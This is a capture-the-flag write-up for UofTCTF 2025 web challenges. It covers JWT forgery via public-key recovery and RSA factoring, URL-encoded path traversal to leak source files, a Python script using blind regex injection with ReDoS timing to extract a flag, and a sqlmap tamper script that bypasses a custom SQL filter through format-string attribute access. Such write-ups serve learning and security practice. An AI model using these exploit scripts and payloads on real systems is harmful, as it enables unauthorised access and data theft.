UofTCTF 2025
My Writeup for UofTCTF 2025. Edited by LLM for sake of grammar, clarity, and speed.
All challenges can be found here https://github.com/UofTCTF/uoftctf-2025-chals-public?tab=readme-ov-file
Table Of Content
- 1337 v4ul7 (495)
- CodeDB (388)
- Scavenger Hunt (100)
- Prepared: Flag 1
Not it any order
1337 v4ul7 (495)
13 Solves
This was the challenge description.
1
2
3
4
5
I've started learning the fascinating language of LeetSpeak, and recording some of my notes in my diary. Good thing I built this vault to keep it away from prying eyes!
Visit the website here
Author: SteakEnthusiast
Surprisingly, this challenge only had 13 solves, and I was the second person to solve it. Crazy.
Introduction
In this challenge, we are given a login form (with only a username field), and the goal is to log in as the admin user.
If you log in as any username other than 4dm1n
, you see:
You see a message that says “W3lc0m3
<username>
! Y0u 4r3 n0t 4n 4dm1n.”
When you try to log in as 4dm1n
, it tells you “Acc355 D3n13d”.
Semi-unsuccessful steps
At first, I thought that maybe this was an injection challenge. I tried various types of injection like SQL injection, NoSQL injection, SSTI injection, etc. However, none of them worked.
Next, instead of sending a string, I thought about what would happen if I sent an array.
1
2
3
4
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=4dm1n
1
2
3
4
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username[]=4dm1n
Looking at the error message saying TypeError: username.toLowerCase is not a function
and seeing the new JavaScript file /usr/src/app/5up3r_53cur3_50urc3_c0d3.js
, I thought about what would happen if I used mixed case, so 4dm1n
would become 4dM1N
. Sadly, that also gave an “Acc355 D3n13d” error.
I also tried to see if maybe various encodings might help bypass the filter, but all attempts failed.
I also tried some path traversal stuff, because
/usr/src/app/5up3r_53cur3_50urc3_c0d3.js
in the error message made it pretty clear that the attacker wanted us to leak the content of this file (CTF logic smh).
I went to the robots.txt file, and I found this:
1
2
User-agent: *
Disallow: /1337_v4u17
I needed to be admin to access the
/1337_v4u17
page
Solution
My attention slowly started focusing on the JWT token that was being used to “prove” authentication.
1
2
3
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJpYXQiOjE3MzcxNTE3NTR9.mpJBb0Hp7ubkueyEeH7ZAXFuxztSHCC1eMmHxy8PbwNVdvawaGoUOyWYicPYSSBJsBCAVtcb56f6G-0FOvXstmTidTWmvHiU0RXe5z9SZp42c_FIwEvASP0asPPInIASJpmGG1Xav-lvsZaolzzMhCX5Avp8xiT8OjJkmEFMuOW-8GQj37rgKQGS8QbjjgZrdOXuNz6ZPzjZMYcbHaQ6S8qHIYSWkge3F6PLf56vK4sjSNCX4tkqxdQF-a9bkznoP6zW8JJRVHoSwc0s_nOkS8L4ABXjP9-x5dVUQELFvBft9uzrAmcC7_8EoJe0e4TXBb3wSyEBArJtSoxpyVksPA; Path=/;
When I decoded it using https://jwt.io, this is what I saw:
I noticed that they were using the RS256 algorithm for the JWT. This stood out to me because, by default, the JWT algorithm is not set to
RS256
. You have to explicitly set that.
I went to the PayloadAllThings GitHub repo: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token, which I know lists some attack methods against JWT tokens.
So I methodically read all the attacks against JWT and tried each one that made sense.
I noticed that before implementing one of the attacks (the Key Confusion Attack RS256 to HS256), I needed to recover the JWT public key from the Signed JWT. So that’s what I did.
However, it did not work for some reason at first. I was a bit tired, so I did not bother looking too deeply into it and instead focused on other challenges (the CTF had just started). But later on, I read this: https://pentestkit.co.uk/jwt/recover_key.html and was able to use this tool: https://github.com/FlorianPicca/JWT-Key-Recovery.git with e = 1337
to recover the public key.
1
2
3
git clone https://github.com/FlorianPicca/JWT-Key-Recovery.git
cd JWT-Key-Recovery
python3 ./recover.py JWT_1 JWT_2 -e 1337
Modified code snippet from https://pentestkit.co.uk/jwt/recover_key.html
In this case, JWT_1
and JWT_2
were the JWT tokens for two different usernames, and -e 1337
was the RSA public exponent used (the default is 65537). I think most people got stuck on changing the RSA public exponent to 1337
. I kind of guessed it was that because the challenge description and title mentioned 1337
.
I was able to recover the public key:
1
2
3
4
5
6
7
8
9
-----BEGIN PUBLIC KEY-----
MIIBITANBgkqhkiG9w0BAQEFAAOCAQ4AMIIBCQKCAQEAsPUnTadAY3deAC+OX+QD
20rWNwcpREevkwBWvKzEhgPvyGeY1A00iyF1GgwQ/0vXBVLIMnyQseVOkIY5iNGg
wdatWCETvMflXCqdXox5G8TCdn7Zh+h1fqipNo8rO5qP+SJAO3ON82Bq/8lNe1yP
e2SAEkK6f9i66Q46FtDbVotkDgEy25TJdnypv6HyB0zqEhbCiChWQu8bsd7bx6cd
sM5wiO0BnfwKRvlF/PtxRZr3pJqqeYLzy76XKkPcB4bRcMqf0L0k8V1ZkziHMzv/
ML4kA9JaDlLhDow2sKijszccruep+KsS8jBwQhjrXlYG0liZ36+x/ydkgxWIvTKW
rwICBTk=
-----END PUBLIC KEY-----
I was not able to perform the RSA key confusion attack, so after searching around for a few hours, I attempted to see if I could retrieve the private key.
I was able to generate the private key via this tool: https://github.com/RsaCtfTool/RsaCtfTool/tree/master
1
python3 RsaCtfTool.py --publickey public.pem --attack all --private
I signed the JWT token with the private key using CyberChef (to become admin):
1
2
3
4
{
"username": "4dm1n",
"iat": 1736603649
}
1
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjRkbTFuIiwiaWF0IjoxNzM2NjAzNjQ5fQ.V7LUY3hRFZiGr2tAuug4zBPx6YPD2MrmvClj6AkEZJSL72W4u5BezvysmUWSmpdqz5aD-dfWaa4lYe6MAcMG7hhWyho-lP6ql-2SPLQhTg-CKgDM2MmbiBHpkZGFp1wdWA6enfaD7ccqdLeN-IwKX2chdsN9oxMhVqJNsqIN04H-nNQdKlaRuD75dDH4UFAYnLWHjP1QynDCd7ss7MJZzULXG9cGK-7JeDuAGdHJKypUts0a2mg463FAGMgL6JvoYEn65Tm8NhbeNgIY9d4ETEmjUMu_6LhMbd4EjoI-GsV45N054qW2Y2yFMxZzznMgjzhu-QXwdFJcEQLOK4qyDg
You can also use https://jwt.io/
I thought I would be done with the challenge after visiting /1337_v4u17
, but I was wrong; the challenge was not over…
I was now able to access a page where the “admin” kept their journal.
When I clicked on the journal, I was sent to this page: GET /1337_v4u17?file=vault%2Fjournal1.txt HTTP/1.1
.
This felt like a case of path traversal, so that’s what I tried.
I was able to retrieve that path from before via path traversal (file=vault/../../../../../../usr/src/app/5up3r_53cur3_50urc3_c0d3.js
):
1
GET /1337_v4u17?file=%76%61%75%6c%74%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%75%73%72%2f%73%72%63%2f%61%70%70%2f%35%75%70%33%72%5f%35%33%63%75%72%33%5f%35%30%75%72%63%33%5f%63%30%64%33%2e%6a%73 HTTP/1.1
It looks like a mess because I used Burp’s Decoder tool to encode the path traversal input into URL-encoded format.
This is what I found (shortened for convenience):
1
2
3
4
5
6
7
...
const bodyParser = require('body-parser');
const cookieParser = require('cookie-parser');
const SECRET_FLAG = require('secret-flag')
const app = express();
const PORT = process.env.PORT || 1337;
...
I knew I wanted to see what was in require('secret-flag')
, so I started by searching for secret-flag.js
, but nothing could be found.
Then I tried /node_modules/secret-flag/index.js
, which I thought would be the next step to finding the flag, and I was correct.
file=vault/../../../../../../usr/src/app/node_modules/secret-flag/index.js
1
GET /1337_v4u17?file=%76%61%75%6c%74%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%75%73%72%2f%73%72%63%2f%61%70%70%2f%6e%6f%64%65%5f%6d%6f%64%75%6c%65%73%2f%73%65%63%72%65%74%2d%66%6c%61%67%2f%69%6e%64%65%78%2e%6a%73 HTTP/1.1
I found the flag:
1
2
const SECRET_FLAG = "uoftctf{l337_15_p3rf3c7_f0r_fl465_4nd_3xp0n3n75}";
module.exports = SECRET_FLAG;
1
uoftctf{l337_15_p3rf3c7_f0r_fl465_4nd_3xp0n3n75}
CodeDB (388)
54 Solves
This challenge was really fun to solve. Here is the challenge description:
Introduction
In this challenge, we basically had a code search engine tool, where you can search for code using normal text or a regex if you use the format /regex/
.
Below is the file layout of the attachment we were given:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
├── Dockerfile
└── src
├── app.js
├── code_samples
│ ├── DataProcessor.scala
│ ├── MainActivity.kt
│ ├── SimpleApp.swift
│ ├── flag.txt
│ (and more files....)
│
├── package-lock.json
├── package.json
├── public
│ ├── css
│ │ └── styles.css
│ └── js
│ └── scripts.js
├── searchWorker.js
└── views
├── index.ejs
└── view_code.ejs
Here is a short introduction of the important files (for this challenge):
app.js
- The main Express app. It has two endpoints:
GET /view/:fileName
- Only retrieves files listed in
code_samples
(it cannot retrieveflag.txt
due tovisible: file !== 'flag.txt'
).
- Only retrieves files listed in
POST /search
- Searches for the content of files inside
code_samples
, based on the query (which could be text or regex).
- Searches for the content of files inside
- The main Express app. It has two endpoints:
code_samples
- A list of files being searched, including
flag.txt
.
- A list of files being searched, including
searchWorker.js
- The file that actually performs the searching. It also generates a preview.
Semi-unsuccessful Steps
Initially, I downloaded the attachment (the application’s code) and inspected the packages to check for any known vulnerabilities, but there were none.
I then started to read the code slowly. It wasn’t too difficult, but it was divided into multiple files, so I had to take notes while reviewing it.
I suspected three main vulnerabilities:
- Path Traversal
- SSTI
- Prototype Pollution
I thought it might be prototype pollution because, while scanning through the code, I noticed unfiltered user input being used as a key. In hindsight, this was a mistake because there was no prototype pollution actually happening.
1
2
3
4
5
6
// src\app.js
app.get('/view/:fileName', (req, res) => {
const fileName = req.params.fileName;
const fileData = filesIndex[fileName];
....
});
Next, I suspected there might be an issue with the language
input, since it was unfiltered user input. However, this was not the case; the language
input wasn’t used in a dangerous way.
1
2
3
4
5
6
// src\app.js
app.post('/search', async (req, res) => {
const query = req.body.query.trim();
const language = req.body.language;
...
});
When looking into those didn’t help, I started suspecting SSTI in the code preview feature, mainly because search text wasn’t being filtered properly. However, I realized it was just frontend JavaScript rendering the results. I haven’t seen a case of SSTI occurring when the code simply sends a request to an API, gets a JSON response, and then processes it via JavaScript (though that doesn’t mean it’s impossible).
1
2
3
4
5
6
7
8
9
function generatePreview(content, matchIndices, previewLength) {
adjustedIndices.forEach(match => {
preview =
preview.slice(0, match.start) +
`<mark>${preview.slice(match.start, match.end)}</mark>` +
preview.slice(match.end);
});
return (preview.includes("<mark></mark>")) ? null : preview;
}
There were a couple of other considerations I looked into, but I won’t go into detail about those.
Solution
While I was stuck in an infinite loop of self-doubt and searching for vulnerabilities, one of my teammates gave me this article:
https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets
(It’s an interesting read, so please check it out.)
The article also referred to the “founder” of the attack: https://diary.shift-js.info/blind-regular-expression-injection/ (a more technical read).
It basically explains that regex can be injected in a clever way, similar to blind SQL injection, to retrieve information. You craft a regex so that if it matches, it causes ReDoS (Regular Expression Denial of Service). If there is a timeout in the server response (e.g., the server is slow to respond), you can assume the match happened.
In our case, the server implements a timeout where your search “times out” if it doesn’t finish within 1 second, so we don’t really risk causing a full DoS.
TL;DR: You use ReDoS to determine secrets based on the time delay when executing the regex.
So, I wrote a Python script that checks for a time delay to determine whether the flag is correct or not.
The reason this exploit works is because there’s a timeout that prevents full ReDoS, but the application still searches the content of all files (including
flag.txt
) regardless of its “visibility”.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import re
import string
base_url = "http://34.162.172.123:3000"
search_api = f"{base_url}/search"
timeout = 1.0
symbols = "}{_|!#$%&()*+,-./:;<=>?@[\\]^~"
characters = f"{symbols}{string.ascii_lowercase}{string.digits}{string.ascii_uppercase}"
# "known" part of the secret
possible_flag = "uoftctf{"
while True:
for char in characters:
# Reference: https://diary.shift-js.info/blind-regular-expression-injection/
query = "/^(?=^" + re.escape(f"{possible_flag}{char}") + ")((((.*)*)*)*)*salt/"
payload = {
"query": query,
"language": "All"
}
res = requests.post(search_api, data=payload)
if res.status_code != 200:
continue
seconds = res.elapsed.total_seconds()
if seconds > timeout:
possible_flag += char
print("Building Flag:", possible_flag)
if char == "}":
print("flag?")
break
if bool(re.match(r"^uoftctf\{.*\}$", possible_flag)):
break
print(possible_flag)
For the longest time, I forgot to use
re.escape()
, so the regex would break when it encountered “?”.
Scavenger Hunt - 100
499 Solves
The flag is divided into several parts, which are spread throughout the website:
1
curl -s http://34.150.251.3:3000/ | grep uof
-s
means silent; in this case, it prevents the progress bar from appearing.
Response:
1
<!-- part 1: uoftctf{ju57_k33p_ -->
Flag 1/7: uoftctf{ju57_k33p_
1
curl --head -s http://34.150.251.3:3000/
--head
means to show only the server’s response header.
Response:
1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
X-Powered-By: Express
X-Flag-Part2: c4lm_4nd_
Set-Cookie: user=guest; Path=/; HttpOnly
Content-Type: text/html; charset=utf-8
Content-Length: 2461
Connection: keep-alive
Keep-Alive: timeout=5
Flag 2/7: c4lm_4nd_
(from the X-Flag-Part2
header)
1
curl -s http://34.150.251.3:3000/hidden_admin_panel --head
Response:
1
2
3
4
5
6
7
8
9
HTTP/1.1 403 Forbidden
X-Powered-By: Express
X-Flag-Part2: c4lm_4nd_
Set-Cookie: user=guest; Path=/; HttpOnly
Set-Cookie: flag_part3=1n5p3c7_; Path=/; HttpOnly
Content-Type: text/html; charset=utf-8
Content-Length: 1682
Connection: keep-alive
Keep-Alive: timeout=5
Flag 3/7: 1n5p3c7_
(from the second Set-Cookie
header)
1
curl -s http://34.150.251.3:3000/robots.txt
robots.txt
is a common text file used by websites to provide crawling instructions.
Learn more: https://developers.google.com/search/docs/crawling-indexing/robots/intro
Response:
1
2
3
User-agent: *
Disallow: /hidden_admin_panel
# part4=411_7h3_
Flag 4/7: 411_7h3_
1
curl -s http://34.150.251.3:3000/styles.css
Response:
1
/* p_a_r_t_f_i_v_e=4pp5_*/
Flag 5/7: 4pp5_
1
curl -s http://34.150.251.3:3000/hidden_admin_panel -H "Cookie: user=admin" | grep flag
-H
sets a custom header incurl
.
Here, we combined the hints fromSet-Cookie: user=guest; Path=/; HttpOnly
and the hidden path fromrobots.txt
(Disallow: /hidden_admin_panel
) to find this part of the flag.
Response:
1
<strong>Part 6:</strong> <span class="flag">50urc3_</span>
Flag 6/7: 50urc3_
1
curl -w "\n" -s http://34.150.251.3:3000/app.min.js.map
-w "\n"
adds a newline after the response to make it easier to read.
We discovered this path from the comment //# sourceMappingURL=app.min.js.map
in app.min.js
. We found app.min.js
referenced by the <script src="/app.min.js"></script>
line in the main page.
Response:
1
"part7":"c0d3!!}"
Flag 7/7: c0d3!!}
Final Flag
1
uoftctf{ju57_k33p_c4lm_4nd_1n5p3c7_411_7h3_4pp5_50urc3_c0d3!!}
Prepared: Flag 1
33 Solves
Introduction
This was the challenge description.
1
2
3
Who needs prepared statements and parameterized queries when you can use the amazing new QueryBuilder™ and its built-in DirtyString™ sanitizer?
Author: SteakEnthusiast
The server implemented a simple login system using MariaDB and Flask. We were given the server code, so it was pretty easy to figure out.
The app implements its own version of SQL filtering, so I figured we might need some kind of SQL injection attack to work (it is almost never a good idea to implement your own version of SQL parser).
Background
Usernames and passwords were being filtered by DirtyString
, which returned an error for any non-ASCII characters and any characters listed in MALICIOUS_CHARS
.
1
2
du = DirtyString(username, 'username')
dp = DirtyString(password, 'password')
1
MALICIOUS_CHARS = ['"', "'", "\\", "/", "*", "+" "%", "-", ";", "#", "(", ")", " ", ","]
Then the username du
and password dp
were sent to QueryBuilder
:
1
2
3
qb = QueryBuilder(
"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'", [du, dp]
)
This is how the QueryBuilder
object was initialized:
1
2
3
4
def __init__(self, query_template, dirty_strings):
self.query_template = query_template
self.dirty_strings = {ds.key: ds for ds in dirty_strings}
self.placeholders = self.get_all_placeholders(self.query_template)
The query_template
is the SQL query (string), and dirty_strings
is a dictionary (HashMap), for example: {"username": du, "password": dp}
.
The placeholders
is basically an array (list) of strings that match this regex \{(\w+)\}
, for example, {username}
and {password}
both match the regex mentioned here.
In our case, this function will return ['username', 'password']
1
2
3
def get_all_placeholders(self, query_template=None):
pattern = re.compile(r'\{(\w+)\}')
return pattern.findall(query_template)
Then we have the build_query
function that does most of the work in this class. I have added some comments in the function so it makes more sense.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def build_query(self):
# This is the SQL string
# E.g., SELECT * FROM users WHERE username = '{username}'...
query = self.query_template
# Array of "{word}". E.g., ['username', 'password']
self.placeholders = self.get_all_placeholders(query)
while self.placeholders:
# key = first item in the placeholder array
key = self.placeholders[0]
# `format_map` will create a Python dictionary (hashmap)
# The dictionary keys would be each item from placeholders
# The values are a function that takes two arguments
# (the first argument is not important, the second is the string)
# The function will return "{second_argument_text}" as the value
# E.g., format_map['password'](None, "apple") returns "{apple}"
format_map = dict.fromkeys(self.placeholders, lambda _, k: f"{{{k}}}")
for k in self.placeholders:
# Basically if `k` in ["username", "password"] (initially)
if k in self.dirty_strings:
# If the first item in placeholders == `k`
if key == k:
# Get the value
# `dirty_strings` is a dict that stores `DirtyString`
format_map[k] = self.dirty_strings[k].get_value()
else:
format_map[k] = DirtyString
# Reminder, `query` is a string
# `format_map` works similarly to .format string but takes a dict as a mapping
query = query.format_map(type('FormatDict', (), {
'__getitem__': lambda _, k: format_map[k] if isinstance(format_map[k], str) else format_map[k]("", k)
})())
# See if there are more strings in this format "\{(\w+)\}"
self.placeholders = self.get_all_placeholders(query)
return query
Let’s break down this part even more:
1
2
3
query = query.format_map(type('FormatDict', (), {
'__getitem__': lambda _, k: format_map[k] if isinstance(format_map[k], str) else format_map[k]("",k)
})())
For example, when I run:
1
2
3
4
print("Hello my name is {username}".format_map({
"username": "cool_user",
"password": "vry_secure_pass"
}))
The output would be:
1
Hello my name is cool_user
I can also do something like this:
1
2
3
4
5
6
7
print("Hello my name is {username[prefix]}{username[suffix]}".format_map({
"username": {
"prefix": "cool",
"suffix": "user"
},
"password": "vry_secure_pass"
}))
The output would be:
1
Hello my name is cooluser
A cool thing about this is that we can also call things inside a class:
1
2
3
4
5
6
7
class Car:
model = "Toyota"
my_car = Car()
print("Hello my name is {car.model}".format_map({
"car": my_car
}))
The output would be:
1
Hello my name is Toyota
Now, remember that when placeholders
is anything other than dirty_strings
, format_map[k] = DirtyString
. This means there is a possibility we might be able to access DirtyString.MALICIOUS_CHARS
and the inner workings of the DirtyString
class.
When I send:
1
2
username:user
password:value
This is what happened (all the variables and their values):
1
2
3
4
5
6
7
8
9
10
11
12
13
dirty_strings: {'username': user, 'password': value}
self.placeholders: ['username', 'password']
format_map (before for loop): {'username': <function QueryBuilder.build_query.<locals>.<lambda> at 0x7f3cd4943820>, 'password': <function QueryBuilder.build_query.<locals>.<lambda> at 0x7f3cd4943820>}
format_map (after for loop): {'username': 'user', 'password': <function QueryBuilder.build_query.<locals>.<lambda> at 0x7f3cd4943820>}
self.placeholders: ['password']
format_map (before for loop): {'password': <function QueryBuilder.build_query.<locals>.<lambda> at 0x7f3cd4943940>}
format_map (after for loop): {'password': 'value'}
This output is behind the scenes of what happened. I used print statements to get these.
This is what happens when we send in the POST request:
1
2
username:user{x}
password:value
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
dirty_strings: {'username': user{x}, 'password': value}
self.placeholders: ['username', 'password']
format_map (before for loop): {'username': <function QueryBuilder.build_query.<locals>.<lambda> at 0x7f3cd5b55820>, 'password': <function QueryBuilder.build_query.<locals>.<lambda> at 0x7f3cd5b55820>}
format_map (after for loop): {'username': 'user{x}', 'password': <function QueryBuilder.build_query.<locals>.<lambda> at 0x7f3cd5b55820>}
self.placeholders: ['x', 'password']
format_map (before for loop): {'x': <function QueryBuilder.build_query.<locals>.<lambda> at 0x7f3cd4943a60>, 'password': <function QueryBuilder.build_query.<locals>.<lambda> at 0x7f3cd4943a60>}
format_map (after for loop): {'x': <class '__main__.DirtyString'>, 'password': <function QueryBuilder.build_query.<locals>.<lambda> at 0x7f3cd4943a60>}
self.placeholders: ['password']
format_map (before for loop): {'password': <function QueryBuilder.build_query.<locals>.<lambda> at 0x7f3cd49438b0>}
format_map (after for loop): {'password': 'value'}
This output is behind the scenes of what happened. I used print statements to get these.
You can see that {x}
becomes an instance of the DirtyString
object at some point, meaning we can access previously inaccessible characters via {x}{x.MALICIOUS_CHARS}
.
For example, when I send in this POST request:
1
2
username:user{x}{x.MALICIOUS_CHARS}
password:value
I get this in the HTTP response:
1
Database query failed: 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\\', '/', '*', '+%', '-', ';', '#', '(', ')', ' ', ',']' AND password = 'value'' at line 1
This is the user-visible output that the server returns due to SQL errors.
Solution
Now that we can use restricted values, I created a custom tamper script in sqlmap
that will basically bypass the filters via the MALICIOUS_CHARS
array index.
custom_tamper.py
file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python
def tamper(payload, **kwargs):
"""
Replaces each character defined in `mapping` with the corresponding
"{apple.MALICIOUS_CHARS[index]}" placeholder in the given payload.
"""
mapping = {
'"': '{a.MALICIOUS_CHARS[0]}',
"'": '{a.MALICIOUS_CHARS[1]}',
'\\': '{a.MALICIOUS_CHARS[2]}',
'/': '{a.MALICIOUS_CHARS[3]}',
'*': '{a.MALICIOUS_CHARS[4]}',
'+%': '{a.MALICIOUS_CHARS[5]}', # '+%'
'-': '{a.MALICIOUS_CHARS[6]}',
';': '{a.MALICIOUS_CHARS[7]}',
'#': '{a.MALICIOUS_CHARS[8]}',
'(': '{a.MALICIOUS_CHARS[9]}',
')': '{a.MALICIOUS_CHARS[10]}',
' ': '{a.MALICIOUS_CHARS[11]}',
',': '{a.MALICIOUS_CHARS[12]}'
}
# Perform replacements in the payload
if payload:
for original_char, placeholder in mapping.items():
payload = payload.replace(original_char, placeholder)
payload += "{a}"
return payload
I know there is a better way to write this script, but when I was solving this challenge, this was the first thing that came to mind.
Now, we will use sqlmap
on the target:
1
sqlmap -u "<URL>" --data="username=admin&password=1234" --method=POST --dbms="mariadb" --tamper=custom_tamper.py -p username --sql-shell
Once you have the SQL shell, you can run these commands to get the flag:
1
2
sql-shell> use prepared_db;
sql-shell> select * from flags;
Then you will get the flag:
1
uoftctf{r3m3mb3r_70_c173_y0ur_50urc35_1n_5ql_f0rm47}